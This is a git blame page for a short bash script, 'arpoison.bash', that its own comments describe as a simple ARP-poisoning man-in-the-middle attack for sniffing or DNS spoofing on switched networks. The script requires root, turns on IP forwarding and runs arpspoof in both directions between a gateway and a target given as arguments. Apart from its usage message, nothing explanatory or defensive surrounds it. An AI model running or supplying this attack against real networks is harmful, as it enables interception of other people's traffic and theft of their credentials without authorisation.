Blokovani pres konstantu
[mirrors/Programs.git] / bash / arpoison.bash
CommitLineData
21c4e167
H
1echo Simple poisoned ARP MITM attack
2echo Use this to sniff/dnsspoof in switched network
3
4if [ $(whoami) != "root" ]; then
5 echo You have to be root \;P
6 exit;
7fi;
8
9if [ -z "$2" ]; then
10 echo Usage: $0 gateway target
11 exit;
12fi;
13
14echo "$1" \<---\> YOU \<---\> "$2"; echo;
15
16cleanup() {
17 kill -2 $(jobs -p); > /dev/null 2>&1
18 kill -9 $(jobs -p); > /dev/null 2>&1
19 echo All background jobs stoped!
20 exit;
21}
22
23trap "cleanup" SIGINT;
24echo 1 > /proc/sys/net/ipv4/ip_forward
25# sysctl -w net.inet.ip.forwarding=1
26arpspoof -t "$2" "$1" &
27arpspoof -t "$1" "$2" &
28while true; do sleep 100; done;
This page took 0.217017 seconds and 4 git commands to generate.